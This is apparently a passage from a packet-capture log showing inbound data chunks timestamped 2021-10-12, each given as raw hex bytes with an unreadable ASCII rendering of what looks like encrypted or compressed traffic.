2021-10-12 07:38:07 UTC 87 IN Data Raw: bd ee 41 bf d5 b8 53 43 e2 d4 c3 bb 38 8d 60 14 0d a9 f5 0b 06 04 77 db 75 a1 f8 2a a6 6d a0 bc 68 3c 0d f6 
67 6b 03 01 17 1b 4b bf 64 86 db e4 f8 07 d2 c0 45 2f da 10 5b f4 8f 8e e4 99 33 5d 19 14 f3 30 c1 e2 4f 93 21 a5 1b a6 35 
07 a3 3f 6b 62 83 70 8d 41 c2 32 5f 0d a5 7a bc e4 b5 1d 1c 80 65 71 e2 b0 ec 83 5e 02 fe 12 e5 21 6e d1 49 aa 05 10 79 
e5 47 7c 95 d7 b5 42 63 3a ea be 17 e7 e3 75 09 dd 84 29 aa 7e f0 86 62 33 ee de b4 78 8e 2a 3e be 80 48 8a 90 78 60 
ba 52 79 c0 e9 5c 86 6a d8 54 69 fa 7b a8 73 e1 45 51 cb d8 ec 9d b3 0d c2 a0 6f 03 ba bf 14 9a 10 07 87 d9 a9 c6 79 2e 
d2 9a da c2 6b 66 42 ed 14 5b 62 87 69 4d 85 aa f5 ed 32 c3 11 d3 31 52 66 4c ad 79 6e 07 7a f7 a6 9d cb 00 5c 23 40 f2 
65 f3 f1 d2 e4 5f eb 55 4c 75 87 38 bb d1 e9 b3 be 6f 66 
Data Ascii: ASC8`wu*mh<gkKdE/[3]0O!5?kbpA2_zeq^!nIyG|Bc:u)~b3x*>Hx`Ry\jTi{sEQoy.kfB[biM21RfLynz\#@e_ULu8of

2021-10-12 07:38:07 UTC 88 IN Data Raw: 7e 2e bd 0e 23 4c 7d 10 bc 24 e5 16 32 e6 ec ed 56 56 eb 6b bc bb 28 42 5a 09 ef c4 84 d6 54 3a bd c0 e7 f2 
10 bb 23 7c 19 b4 0e 55 85 f0 5f d3 13 85 b3 be d0 df 75 39 ff bb fc 35 fa df 25 d3 06 99 bf e5 3b b0 8e 08 5f d1 0e d2 cf 
06 24 9c 88 c1 2f 4b a1 98 81 92 0a 0d 66 82 84 00 44 b0 95 02 fd d2 4f d7 cb 13 d8 2f 30 99 e7 cf 32 e1 fc d1 7c 14 05 e5 
cf 81 ce 65 3e 27 e5 31 5c 13 4b 7b 34 a6 5d dc 88 f5 ab 78 76 05 49 4f f4 fc 79 8f 75 6d a5 ff cd 01 9a 49 d7 b0 bb aa 4a 
9f e7 cf 25 38 40 bc e1 1e 5a 7e b6 06 9a d6 51 2d f2 3d a0 65 b4 9f 74 63 70 46 45 6a 9f d1 28 5b 61 76 a6 94 e5 e2 cc 
22 ad 77 e2 bf a7 2b db 6d 60 97 c3 aa 41 2f ad a5 a5 f2 b9 0c 98 0f 00 76 b1 ea d5 a9 4e 6d 75 22 c0 34 13 30 96 ee 01 
d7 0b cd 66 15 7e 47 b8 c1 92 61 3b 7c 93 76 6c 
Data Ascii: ~.#L}$2VVk(BZT:#|U_u95%;_$/KfDO/02|e>'1\K{4]xvIOyumIJ%8@Z~Q-=etcpFEj([av"w+m`A/vNmu"40f~Ga;|vl

2021-10-12 07:38:07 UTC 89 IN Data Raw: a9 eb 25 c9 21 b4 30 5d 14 4a f5 71 49 ac 41 d3 ea 98 22 7d b1 cc ed e9 12 47 cb 51 6e d8 3c 7c ee 79 41 e4 
99 36 3d 51 07 f9 2c ce 04 03 d0 23 a4 b3 9f 78 12 b2 30 55 33 6a 86 78 1c cc 05 5f 0b b4 62 a7 e6 53 91 1f 83 72 63 fe 
bb ec 87 57 59 9c 02 c2 34 52 48 60 39 de 47 86 cf 4d 6d 9e db 15 69 68 5a e4 a9 8d 79 f2 75 18 d5 ec ea 82 6f f4 85 ec 
00 f7 c2 f0 a6 9c 02 f3 b8 83 3d df 1f 7f 6a a3 39 19 89 fa 56 9a 6a 52 52 69 f6 f1 fc 7b f5 5b 5d 8c f4 ed 9d bf 68 0c 9d 6f 
09 c5 e0 3e 6e 1b 2f c7 f7 ab e7 b0 ce d0 e1 17 ce 7d 6f 34 15 df 5b 63 92 41 1f 51 5c 2b ed 32 c6 b7 25 3e 50 6e 43 47 
79 6e 18 73 b8 a6 9d ce 00 5c 24 40 f2 65 6c 42 58 ca 5b 71 7c e5 5d b0 33 19 ca c5 fe 68 7c 68 c0 2f e9 09 a6 c7 51 37 
ec 61 0e 53 12 5a ad 6a ca 82 57 fc 3e e9 bb c6 bc 
Data Ascii: %!0]JqIA"}GQn<|yA6=Q,#x0U3jx_bSrcWY4RH`9GMmihZyuo=j9VjRRi{[]ho>n/}o4[cAQ\+2%>PnCGyns\$@e
lBX[q|]3h|h/Q7aSZjW>

2021-10-12 07:38:07 UTC 91 IN Data Raw: 04 fd cf a6 ac 92 3a 3d ec 42 80 52 b3 5d 4a 08 bc 77 1e e8 43 54 fb 5d 94 b7 a5 c5 b4 b2 7e fd b1 78 aa a8 e6 
4a d8 2e dc ac e1 5e 15 8a 19 58 4d 35 c4 dc 15 67 02 89 c1 2b ed dc 91 91 08 13 a3 4f ac 94 0c 2b 01 ef ca f7 c1 41 b0 
9a 1a df 2d 38 ff bc a8 30 e1 fc ef 1b 0f 05 ed d9 d3 c8 4c aa 26 e7 4c 84 1a 6b 7e 3c b7 5b 87 2c df ab 79 67 73 b9 4e f5 
f8 68 0f 76 25 a7 fe d4 04 f0 84 ff 71 bd ad 3f cb f3 dc 3c 3b 5b de af 3c 5a 75 9e 42 8b c2 49 28 de d8 e7 67 b2 86 55 36 
79 6e 9e 46 da d5 3e 47 63 67 a5 8d 7b cc ec 22 ae 0c 2f ac b4 3d 7f 2a ee 97 c3 a6 f0 1e 71 87 a7 f2 bd 64 5b 1e 08 63 
b4 94 fb 7d c1 41 63 31 c7 59 d2 3d 18 5d 07 00 30 93 74 1b 5f 51 d2 0a 83 6f ae 6d ce 26 7f 60 d5 7b 2d 62 2c 87 d0 1e 
55 ea be 2e 13 5f c4 5d 6f 6a 64 00 87 9b a5 52 
Data Ascii: :=BR]JwCT]~xJ.^XM5g+O+A-80L&Lk~<[,ygsNhv%q?<;[<ZuBI(gU6ynF>Gcg{"/=*qd[c}Ac1Y=]0t_Qom&`{-
b,U._]ojdR

2021-10-12 07:38:07 UTC 92 IN Data Raw: 6a c9 51 ba db 3c 7c e5 f2 57 e2 8f c9 2d 51 10 df 2d f0 5b 38 d0 25 b4 17 02 0f 05 a3 34 55 3d 6b 86 78 cd 84 
0d 4c 08 df 62 99 f2 4b 0f 00 85 72 13 ed b0 fd 33 41 4f 11 05 c4 20 41 c0 67 20 f5 f9 ae a6 47 7c 93 df 81 54 67 5d 13 bd 
1d 57 cf 62 30 0c fb ef ac 6f f0 09 9b a2 f1 d2 dc 23 89 2a 34 cf da 39 c8 98 02 63 b4 e2 1d 55 66 77 8c 42 9d 45 6c f3 57 
fc 74 f0 4a c7 13 4e ee 8b 9d 17 80 a2 69 1a c0 e7 12 8c e4 2c c6 dc 85 db dd 1f d6 9a dd df 79 e7 3d 96 df 5a 4a 9c 44 
08 8d a2 67 ef 32 cd e5 75 39 7a 64 37 66 6a 5e 06 0e b0 a7 9d ca c2 27 e8 51 e4 72 77 7e eb da 5f eb 54 55 57 a9 c7 ba 
f7 c7 ea ad 68 76 c2 21 f8 10 92 90 51 c9 3f 65 1a 3b dd 41 be 64 cd 1c 76 e7 c0 ea ec 1b 84 ae 7b ef 06 2c e9 8d a1 d3 
fa b5 4f 5f 8b f0 62 91 8b eb 0e 50 80 69 6f cf 
Data Ascii: jQ<|W-Q-[8%4U=kxLbKr3AO Ag G|Tg]Wb0o#*49cUfwBElWtJNi,y=ZJDg2u9zd7fj^'Qrw~_TUWhv!Q?e;Adv{
,O_bPio

2021-10-12 07:38:07 UTC 93 IN Data Raw: b3 b2 e9 e3 06 7f f7 65 f6 1b 92 da 27 df 41 77 bc e5 37 8b 8b 18 4e 5e 27 d2 cf 0f 5f 5e 92 c1 27 e6 ce 80 81 
92 00 89 5e b4 c7 00 56 a8 ee ca fc c9 7b ad 89 93 da 25 29 35 94 8c 21 f5 e5 ff 2c 05 02 fb d2 d7 d0 60 2a 2b f1 40 83 00 
4e 6b 30 b4 49 0b 15 db b9 7a 66 7e 8b 4a e6 fb 40 2e 5c 25 a1 c6 c0 01 e1 8f ff 00 be ad 3f ce e3 de 29 2b 33 16 a2 1c 
5e 76 e5 9e 98 d6 5f 2a 6c 35 39 67 b4 91 33 b9 73 46 49 40 a1 0f 28 51 74 65 2d e2 8a cb cc 26 c0 67 2d bf ad f1 24 27 
50 a1 c3 a0 e9 04 0a a6 b4 fa 93 18 53 0f 06 5a 6d ff d3 79 e9 e8 74 22 c4 69 d5 23 91 c2 28 da 23 8c b9 36 51 6d f4 07 
92 6b 2c 72 e3 14 6f 65 c2 2d 16 b2 39 89 c1 e0 e9 e5 af 26 24 5c e6 bc 56 5f 10 83 8d 45 a4 52 7d cd 73 02 e5 ff b2 0d 
e7 83 76 e3 20 96 21 1d 48 bc ae d1 cb 52 e3 74 59 
Data Ascii: e'Aw7N^'_^'^V{%)5!,`*+@Nk0Izf~J@.\%?)+3^v_*l59g3sFI@(Qte-&g-$'PSZmyt"i#(#6Qmk,roe-9&$\V_ER}sv 
!HRtY

2021-10-12 07:38:07 UTC 95 IN Data Raw: 8e 72 0f cc 45 7f 22 60 a0 63 b5 cc 05 58 2a 7f 6f b3 f4 5d 91 37 83 72 63 f9 a4 e9 a4 e9 4f 00 19 e1 32 45 d4 
7b 5d 86 ed 86 c5 61 6d 9e d3 a5 2a 9f 4a ed b4 31 40 e8 64 1c c7 65 80 c5 7c f4 8f c0 b5 f7 bc ce 3e 88 20 29 66 90 22 
db 9c 40 cb a3 38 0a 85 fa 52 e3 75 9e 56 63 ef 69 82 9f e0 4f 43 b7 50 fc 91 a0 45 02 a2 6f 09 c2 e7 18 f5 2d 2d cd d1 bf 
dd f9 a3 21 9a db c4 12 06 42 96 d5 48 6f 92 48 20 39 d3 3e eb 29 a8 f1 66 3c 5a 48 01 60 68 60 6c 39 76 a6 97 db 0e 30 
3e 2f fe 60 7d 4c 31 b6 5d eb 5e 48 4c bb 11 94 d8 c1 ef d1 00 6e d1 21 de 10 93 8c be c6 7c 54 0e 28 d1 35 c2 6c cd 07 
5a d7 18 fa cd 3b cd 22 7b e9 2b 2d eb 8c 89 ed f3 aa 44 ce e5 de 64 8d a1 e5 0b 45 9b 67 11 f2 c6 8b 81 0d ea 99 39 9c 
5f a0 74 d8 76 0a 0d 9d 10 14 f5 9c 74 43 60 98 9b 
Data Ascii: rE"`cX*o]7rcO2E{]am*J1@de|> )f"@8RuVciOCPEo--!BHoH 9>)f<ZH`h`l9v0>/`}L1]^HLn!|T(5lZ;"{+-DdEg9_tvtC`

2021-10-12 07:38:07 UTC 96 IN Data Raw: d2 e5 04 5f 51 41 c1 2b ed d8 8b ab 89 00 a8 49 56 84 2c 46 aa e5 ca fa c4 b5 a5 a5 13 cf 2e 29 f4 8c 72 31 cd 
f4 d2 39 3d e6 f7 ce dd b0 11 3c 27 ed 60 e5 11 30 a1 3d b7 5f 26 06 f5 a9 6f 09 a0 99 4f f0 fa 13 59 5d 25 a3 90 38 03 e1 
85 fd b0 ac 9d 3b dd a3 cf 2f 29 48 cf a2 1c 58 5c 89 42 98 dc 59 2a 8b af e6 67 b0 96 74 b5 73 46 45 6e d1 fb 06 53 70 75 
c4 b0 68 cb c6 58 ab 1a 1d b7 a3 0f 93 fd 78 96 f2 ab cb 39 00 a5 a3 81 e1 76 53 05 7a 70 bb 86 0c 7f c1 43 77 26 bf af c3 
30 92 c0 10 da 30 b6 64 15 31 45 c3 07 92 61 3f 7b e2 37 6a 4d 70 ac 3e 61 38 a1 55 c9 46 ee 83 2b 2a 64 f7 bb 78 14 39 
81 87 91 de 4d 7e dc 67 02 e5 f5 88 04 b4 71 74 e3 22 6b bf 08 92 a1 0e c0 d3 3c 09 4c 96 d2 65 8d dc 3d 4d ce ea a9 93 
bd 39 23 dd 70 55 7d c3 fd 5c 00 72 d6 8e be 
Data Ascii: _QA+IV,F.)r19=<'`0=_&oOY]%8;/)HX\BY*gtsFEnSpuhXx9vSzpCw&00d1Ea?{7jMp>a8UF+*dx9M~gqt"k<Le
=M9#pU}\r

Timestamp
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2021-10-12 07:38:07 UTC 97 IN Data Raw: ea aa 03 8d 6d 4d 2b 11 e2 9c 6f d4 71 21 c6 ed 86 15 47 7c 95 00 85 45 72 5d fe bb 2f 9d e3 75 18 df ee ea 
b4 80 f5 a9 f1 a5 d4 2d f3 8a 89 2a 38 cf fd 39 c8 98 0b 15 a1 38 00 8e f4 55 9f 47 9c 47 6c ea ad ec 5d eb 49 4e d9 b7 ed 
9d b1 65 93 a7 6f 18 c1 e1 e8 9b 36 2c d5 c8 ac cc e4 c9 ce 64 da e2 6b 6d 65 68 d8 ed 63 83 43 7b f9 d3 3e e7 41 b8 9d 
64 36 5c 79 24 63 79 7f 06 11 7d 58 9c e6 08 2e 87 c0 f0 61 77 59 54 c8 5a eb 45 41 45 4e 38 97 d0 c3 ea cd db 6d d1 2d 
f2 18 8b 8f af d9 16 7e f2 29 f7 53 a5 01 4d 0f 7c f6 20 f8 c5 13 ad 27 62 11 07 1c f1 84 a3 b1 44 ab 42 a7 81 c6 77 82 87 
e5 05 58 74 68 52 cf c3 8d f6 89 85 9b 3d 8a 6a b4 7a de a5 0f fd 8d 32 06 fb b1 27 bc 8e 62 8c 5c 56 c6 17 76 34 44 5a 
41 8c c6 08 c5 b8 c3 b1 37 4e e2 e3 bb 63 08 b3 34 
Data Ascii: mM+oq!G|Er]/u-*898UGGl]INeo6,dkmehcC{>Ad6\y$cy}X.awYTZEAEN8m-~)SM| 'bDBwXthR=jz2'b\Vv4DZ
A7Nc4

2021-10-12 07:38:07 UTC 98 IN Data Raw: 12 4b 2e 38 f8 7a fa 70 4c 52 7a 69 ae 42 10 68 cd 20 d4 59 b3 17 c2 6c 49 c1 1b ba 5c c7 f4 49 5a 1c c4 e0 
a6 0a 7e 61 31 0d a2 70 c2 2a 06 58 ad 0f c9 07 df 27 2c 88 bc 71 24 48 f4 cb 61 15 41 03 e0 b4 51 6d ac f0 75 f8 16 dd df 
71 cb 25 3d 56 fb f3 38 7c 99 37 24 26 19 f2 3a dc 93 30 d0 2b bc ef 8f 5e 0f a0 1d ef 23 6a 8c 5e f1 c7 03 4c 0a b2 95 b2 
de 49 04 3c 83 7a 79 13 b1 d1 88 6a 04 1c 1f c9 2b 5d 2a 70 1e fe 9c 3d ce 47 7a 9e d5 89 45 6b 54 e4 40 16 7d e9 72 1c 
a2 ec ee aa 7a eb 8f ea a2 f9 cd 0a 3d a4 20 39 a4 fe 29 c9 92 7c 75 aa 34 0a 8b f7 a2 8d 6e 95 51 6a 8d 5c ec 71 e5 52 
45 a4 54 f0 63 b4 52 89 a5 6d 74 ca f7 16 9e 04 23 cd d3 bf 32 f4 e0 d0 8d d7 ce 75 74 4a 68 de 77 60 a8 40 30 da 2e c1 
12 35 ed 8c 54 3f 50 c5 37 66 79 bf 03 0e 65 b0 8e 
Data Ascii: K.8zpLRziBh YlI\IZ~a1p*X',q$HaAQmuq%=V8|7$&:0+^#j^LI<zyj+]*p=GzEkT@}rz= 9)|u4nQj\qRETcRm
t#2utJhw`@0.5T?P7fye

2021-10-12 07:38:07 UTC 99 IN Data Raw: 26 b7 e6 e7 a1 97 85 de 23 30 64 52 07 ac 37 f0 50 35 27 c6 e4 81 15 1d e8 22 57 d5 c4 23 48 43 33 ac 22 33 
86 0c f5 e9 ef 3c 83 f4 65 46 ab 09 66 4f 73 ff cf 86 a9 be a3 a2 cb f3 84 52 a8 26 6c f6 bd 51 13 91 fb 4e e8 52 87 a2 b1 
de d4 f8 7e d1 a1 f4 1a bc a6 35 d8 2e d8 33 52 89 76 e5 9c 54 30 a2 bd 1c 05 5f 57 97 d1 38 f9 ce 91 85 8c fe ae 72 a1 
bd d4 ba 4d 11 d5 f4 c1 4e a4 98 14 c7 2c d7 f2 b8 9c 32 9a f8 f8 3b 12 6a 66 db c1 c9 69 21 2d f4 4f 97 02 4e 60 2d 49 5a
26 0e e7 71 86 8b 81 86 5e e7 fd 68 93 58 3a ab 01 c6 2f e9 87 c0 66 b3 b2 34 ce e0 cf 3e 2c 57 c5 5c 1d 76 62 9c 40 e3 
da 5a 3c f2 46 89 ea b6 95 56 48 a3 47 4f 44 c5 d8 3b 54 70 62 b2 85 94 ca e0 3f ad 77 21 be a7 2b 6e 79 68 97 c3 a4 f5 
15 79 b5 a4 f2 bf f9 e4 60 ae 72 b8 f1 ce 6c c4 47 
Data Ascii: &#0dR7P5'"W#HC3"3<eFfOsR&lQNR~5.3RvT0_W8rMN,2;jfi!-ON`-IZ&q^hX:/f4>,W\vb@Z<FVHGOD;Tpb?w!
+nyhy`rlG

2021-10-12 07:38:07 UTC 100 IN Data Raw: 4d 30 be 40 cb fe 42 37 ec c4 cc a0 1e 08 7f 39 12 af 98 ac 95 06 73 a2 11 a0 83 3b d9 24 a6 b7 49 32 43 f2 71 
66 13 cf 64 8a 9c d5 79 a0 c2 5c 97 4d dd df 73 c2 de 38 7c e0 e5 43 8b 37 37 2e 51 11 e2 3f 60 e6 e6 db 24 b3 7b be a7 
01 cc ce 7d 22 60 85 09 a7 dc 0f 48 1c 96 6d ba 9d e4 1c 30 89 65 48 ed ab cd 8f 41 60 00 13 c9 f8 45 d4 60 41 67 ef 86 
c5 4b 7e 96 c4 ea 8e 62 4b eb 92 1b 55 eb 1a 62 df ff e5 fb 69 ff 5b f7 a6 e5 82 e2 37 56 20 36 90 85 33 a7 c5 78 6a a9 
e4 0d a9 eb 5d 9c 42 9c 54 69 f6 53 f0 52 e1 45 49 a4 5c ed 86 85 7b 80 a5 6e 09 c4 2a 16 9a 0b 2d 9d a0 a7 cd f5 c8 a7 
a6 db ce 7c 46 4b be f1 59 62 85 36 8e 85 d1 34 97 30 97 f0 ad 3d 50 62 3d 4e ef 6c 03 04 79 8e 0b c8 02 2d e4 49 8c f9 
7d 46 54 f3 9f ea 54 42 4e b4 3f d4 4c c3 e9 b4 7c 6a 
Data Ascii: M0@B79s;$I2Cqfdy\Ms8|C77.Q?`${}"`Hm0eHA`E`AgK~bKUbi[7V 63xj]BTiSREI\{n*-|FKYb640=Pb=Nly-
I}FTTBN?L|j

2021-10-12 07:38:07 UTC 102 IN Data Raw: 26 2c d7 c3 3e b2 78 35 bd 25 30 e2 02 e7 ec eb 42 1b eb 6b b2 a0 3b 79 4b 08 fe c8 90 53 93 16 be d3 f3 87 
52 a8 25 69 1f 42 7c 3a 85 db 50 c3 de 7a 4c 4b eb c8 36 7b fd 09 f5 1d be 02 25 d9 3f ca ae e3 09 05 88 19 52 5e 36 d4 
d0 1e a1 50 a4 da 29 87 c0 81 80 96 20 af df a8 85 28 d8 b0 ee c0 eb ca 24 0a 89 11 d2 3a 32 e0 92 8c 21 e7 e9 e5 c5 17 
29 fb db ba cd 65 3e 23 e0 5c 90 9d fc 10 93 b7 5b 00 18 c2 b8 7e 74 6f 9f 50 e3 06 69 ae 4a 27 dc f1 c6 03 e5 99 ff 2c bd 
ad 33 cb fd a0 81 29 48 c5 bd 04 49 72 9e 53 9e c9 4e c2 f7 62 fc 65 cf 9b 5d 27 76 4f c1 f5 6c fb b4 53 70 79 a1 81 05 65 
cc 22 a5 13 39 ac a1 2f 7d 04 63 68 c2 8c ea 69 17 a4 a5 f6 b7 6b 40 09 00 63 be e4 c2 81 c0 6b 69 20 b9 41 c2 30 92 e9 
6b fa 22 86 63 3d e9 47 c3 0d 84 7b 50 d5 e0 34 64 
Data Ascii: &,>x5%0Bk;yKSR%iB|:PzLK6{%?R^6P) ($:2!)e>#\[~toPiJ',3)HIrSNbe]'vOlSpye"9/}chik@cki A0k"c=G{P4d

2021-10-12 07:38:07 UTC 103 IN Data Raw: ac f9 20 dc 4b 3f bc 62 1e 41 eb 70 72 11 41 c2 e4 a8 be 7a 8c df e9 83 18 dc df 7d ce f6 14 e6 f4 f4 4c f2 81 58
80 5b 16 f9 27 cb 8c 3c c1 27 be ef 8f 5e 1d a1 4e 73 23 6a 82 6d 92 b7 27 d2 00 a5 61 a5 ec 24 b2 30 83 78 7e fe b4 fd 
9d 45 56 fe 12 e5 2c 47 af 7f 33 f6 eb 80 a0 d8 7e 95 c6 9f 56 67 4b fc ba 08 5b 1d 74 34 f6 fd 94 a4 7f f4 81 e4 d9 fd d2 f4 
38 e7 a6 3c bc 89 51 ca e9 69 6b a3 3c dc ab 75 5e 8c 48 8a 48 06 5e 53 ed 7b fe 44 5a a0 5c fc 99 aa 66 7e a3 43 77 c6 
8d 18 9b 1a 2b d2 d7 24 e7 f5 cc d3 97 d2 d8 5d 94 40 96 df c7 6b 94 65 f7 87 d1 3e 71 3b df bf 9b 3c 50 64 ab 6f 60 4e fc 
0e 74 a6 01 c3 18 07 17 40 f2 61 e1 4f 45 fb a0 eb 54 44 c1 b9 25 9b 24 c1 e9 be f3 65 cc 0b 07 01 98 8a 33 c1 0d 43 f3 
28 db 5a 31 67 d2 04 5c 03 3e eb c0 8f b5 
Data Ascii:  K?bAprAz}LX['<'^Ns#jm'a$0x~EV,G3~VgK[t48<Qik<u^HH^S{DZ\f~Cw+$]@ke>q;<Pdo`Nt@aOETD%$e3C(
Z1g\>

2021-10-12 07:38:07 UTC 104 IN Data Raw: 66 92 d2 87 ad 96 25 a6 d7 e8 81 43 b1 3c 61 f6 bd 51 1c 8f 9f fa fb 57 8d ac ac d2 d3 06 6e f5 a4 e8 e3 bf f1 
32 da 7e a7 a1 e4 31 a5 88 49 29 45 26 d2 cb 3a 48 50 88 c1 34 e3 dd 88 80 83 08 b0 52 56 84 2c 4f a3 eb cd 45 05 58 
a1 96 1c cb 2d 29 e2 9c 93 2f 1f f7 d5 37 15 55 f9 a4 d8 c2 64 3a 38 c7 59 9f 13 5a 77 22 a1 a5 0b 2b ce a8 28 0f 67 98 4f 
f0 e6 28 95 a3 da 58 e0 d0 10 e9 8f c6 b8 a0 a7 c7 dc c9 c3 2c 79 5d b2 82 1d 5a 70 81 49 8b de 5b 2d fe 51 fb 99 b5 b9 
53 23 1d c3 4d 42 d0 ea 8f 51 70 73 a8 87 79 c3 cc 33 a7 13 0e 41 a6 03 7c 00 03 98 c2 a0 e7 1e 6d 04 a7 f2 b1 68 71 1c 
08 72 a9 f3 c8 81 c0 6b 7e 26 ad c6 c1 30 9c f9 14 c6 30 8e 67 04 7c 5f 3d 06 be 6e 3d 00 ee 35 6e 61 ad 24 3c 67 37 84 
dc db 4e e4 be 28 1d 41 0b ba 52 77 14 85 91 9d 2a f4 
Data Ascii: f%C<aQWn2~1I)E&:HP4RV,OEX-)/7Ud:8YZw"+(gO(X,y]ZpI[-QS#MBQpsy3A|mhqrk~&00g|_=n=5na$<g7N(A
Rw*

2021-10-12 07:38:07 UTC 105 IN Data Raw: cc d7 64 2f da 10 70 f1 e3 06 6d 98 37 2e 45 05 fb 3a c9 80 23 c8 dd a4 3d 97 77 06 ab 2a 69 f4 42 c6 73 be d7 
27 e7 00 a5 61 ce d1 4a 1c 34 9c 6b 71 e5 b0 ec 84 5e 44 fe 12 e5 2f 4c cb 69 76 a5 ee 86 cf 58 70 86 c4 85 54 6b 54 e3 
40 16 7d f2 70 63 c3 fe ef ae 6b 9a c5 53 a2 f1 d3 eb 33 9b 22 3e ad 8b 24 d3 6c 79 46 af 30 1b 84 d5 81 8c 42 9c 49 75 
e3 5b ed 60 e9 50 45 5a 5d c1 93 b0 05 9b a3 6f 0d d1 98 25 5d 05 22 de d3 a9 dd fd d3 d8 64 da e2 71 7a 44 81 9f a3 62 
83 45 17 8c c2 36 ed 23 cf 80 70 c2 51 48 27 65 71 71 09 d8 5c 28 9f ca 08 34 ed 5f e7 72 75 46 4f d3 40 fe aa 45 71 bc 
28 bd cc 81 c3 41 90 93 ce 3d eb 09 98 9b a7 d6 ed 62 20 27 d8 52 b3 b8 e5 83 7e fc 34 f8 c4 0c b5 31 73 ef 17 38 e5 90 
5f c3 dc b3 47 a2 82 c3 68 51 af b4 01 43 80 41 d5 c7 
Data Ascii: d/pm7.E:#=w*iBs'aJ4kq^D/LivXpTkT@}pckS3">$lyF0BIu[`PEZ]o%]"dqzDbE6#pQH'eqq\(4_ruFO@Eq(A=b 
'R~41s8_GhQCA

2021-10-12 07:38:07 UTC 107 IN Data Raw: b2 b4 c1 d9 7d 71 fc bb f2 07 d4 ca 4a 4a 2c dc b7 c3 36 ce 39 1b 52 54 34 db cd 7f 51 50 88 c5 3a f5 a1 1f 82 
92 0a a8 31 07 87 00 4e be e6 a4 dd 82 00 a2 8f 7b f6 22 3f f9 49 48 30 e1 f6 fb 40 18 04 ef dd de df 0e 29 48 74 48 97 19 
6d 78 52 05 59 0a 0d cc a3 7f 1b cc 9b 4f fe eb 6c 85 32 97 a5 ff cd 0e f0 8a c6 b6 33 57 39 dd e4 e7 18 28 48 c5 a0 67 54 
75 9e 46 f7 76 59 3c fc c2 75 67 b4 94 4a 0f ed 47 4f 48 f6 d7 3e 5b ae 00 b5 88 62 b6 dd 23 af 08 2d ae a3 38 06 d8 cf 81 
15 2d c8 17 02 a4 d8 e2 ba 77 57 0d 7b 7c b9 fb d7 76 d7 28 e6 20 c2 45 e5 32 ed e4 11 da 27 84 1c 05 75 45 c7 11 83 
65 88 14 bb 34 6e 6f e4 af 45 69 3c 89 c3 c1 50 8b 3c 22 02 40 d3 ac 74 b9 32 81 fc 95 a5 43 7e 9b 7c 01 e5 f5 b2 65 a1 
37 88 1c db c6 9a 22 a5 ab 74 c8 ec 79 e8 4c 9c 
Data Ascii: }qJJ,69RT4QP:1N{"?IH0@)HtHmxRYOl23W9(HgTuFvY<ugJGOH>[b#-8-wW{|v( E2'uEe4noEi<P<"@t2C~|e7
"tyL

Timestamp
kBytes
transferred Direction Data
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2021-10-12 07:38:07 UTC 108 IN Data Raw: 8f 66 11 b7 1d d5 22 6a 8c 66 96 37 0b 4c 04 b2 e6 b4 f2 4b 1d 23 87 63 66 fb a7 71 a3 41 4f 01 b1 d8 27 51 
c0 67 25 de 42 86 cf 4d 7b 81 e4 60 41 63 4d fb 33 10 51 e3 74 0c cb eb c7 02 7e f4 8f f2 8a 1a d7 f4 3a 9f a7 39 bc 83 3a 
db 96 69 6e b5 2f 86 ac eb 5c 8d e0 8d 52 7d e4 45 fa 59 4c 4f 49 ae 5b f9 b5 59 7a 80 a4 79 84 c3 f6 16 9b 0e 3b d9 cc 
81 60 f5 cc d8 bc f0 94 7a 7f 68 7b db 5b 64 95 c8 0f 87 d1 3f f9 26 d3 b7 cc 3c 50 6e 23 4e 97 6a 03 08 62 2b 9a ca 02 26
fc 54 e6 49 d5 46 5e d1 77 fa 54 44 57 bc 31 af f3 2e ed be 69 7b 5c 2c f8 01 99 99 ab d9 17 75 24 d8 df 5a ab cc dc 09 68 
e8 2a c3 68 13 bc 28 53 57 06 30 f0 ab a3 e9 c8 ad 56 89 67 d8 64 81 91 79 07 43 8a 68 6a d1 d0 a3 23 62 85 91 2d be 
88 b5 7a c9 b6 94 04 8c 1e 04 f8 b6 36 94 37 67 93 
Data Ascii: f"jf7LK#cfqAO'Qg%BM{`AcM3Qt~:9:in/\R}EYLOI[Yzy;`zh{[d?&<Pn#Njb+&TIF^wTDW1.i{\,u$Zh*h(SW0
VgdyChj#b-z67g

2021-10-12 07:38:07 UTC 109 IN Data Raw: fe ab 15 52 3e 02 c0 2b f6 e6 7b 84 92 06 c0 e7 aa 85 0a 2b 3e ef ca f7 fa b4 a0 89 17 b7 87 29 f3 9e 9d 3d 8e 
7c f8 3b 1c 2d 14 dd c1 c5 0b 87 25 e7 40 f8 9f 4a 7f 37 9f 00 08 07 d9 c4 7a 75 7e 93 10 d8 d9 6e 93 59 34 aa 90 4d 02 
e1 85 ff 4b bb ad 3f b2 5c cd 2f 23 27 43 a3 1c 50 5c b9 42 98 dc 50 e2 dc 5f f7 08 7f 95 5c 2d 48 3f b0 bd 25 0d 3e 40 61 
06 8c 99 6a ca e0 2e be 1d 5a 84 a7 2f 6d 6d 2f 96 c3 aa 3f 3f f7 a1 a5 f4 91 70 79 0f 00 72 f9 9f d3 7f c3 47 75 22 ef 4f c3 
30 9d ea 10 da 1b 86 67 15 78 45 c3 07 92 61 3f 7b e2 34 6e 65 86 ad 3e 67 17 88 c7 c8 28 e5 af 20 14 4a f5 bb 7e 67 10 
83 85 9b a4 43 f1 f5 f5 03 fd ff a4 0f 3f 5e 76 e3 28 18 96 0a 92 ab 74 c2 c6 41 e8 4c 2f d7 67 88 48 39 65 b6 b9 ab 95 c0 
cd 23 dd 74 7f 7d c3 fd 54 00 7f d6 b1 bc 
Data Ascii: R>+{+>)=|;-%@J7zu~nY4MK?\/#'CP\BP_\-H?%>@aj.Z/mm/??pyrGu"O0gxEa?{4ne>g( J~gC?^v(tAL/gH9e#t}T

2021-10-12 07:38:07 UTC 111 IN Data Raw: ed ba 89 ca 41 4f 01 00 cd 32 41 bb b1 30 f6 e5 ae ca 42 7c 93 a3 44 47 63 41 82 7c 15 51 e9 1a 0d df ff e5 a1 
6f f2 ea 8d a2 f1 d9 d9 f1 56 26 2f ba af 3c d9 94 17 3d a3 38 00 5f ec 56 52 57 b9 7e 5e f0 53 e7 62 e4 67 4f a1 5c eb 97 
9d 46 80 a2 65 d7 c4 f0 3c 9a 1a 2e d1 db a9 ce f5 d4 d2 a5 8c ce 71 6b 40 96 df 5b 62 83 45 6f e0 d1 2b f7 32 c7 9e 7f 0c 
53 64 9b 66 79 6e ed 0e 74 b7 b5 cd 07 27 ee 33 4c 63 7d 4c 52 d3 30 54 56 44 57 bd 47 23 db c1 e3 b5 66 03 b9 2b f8 
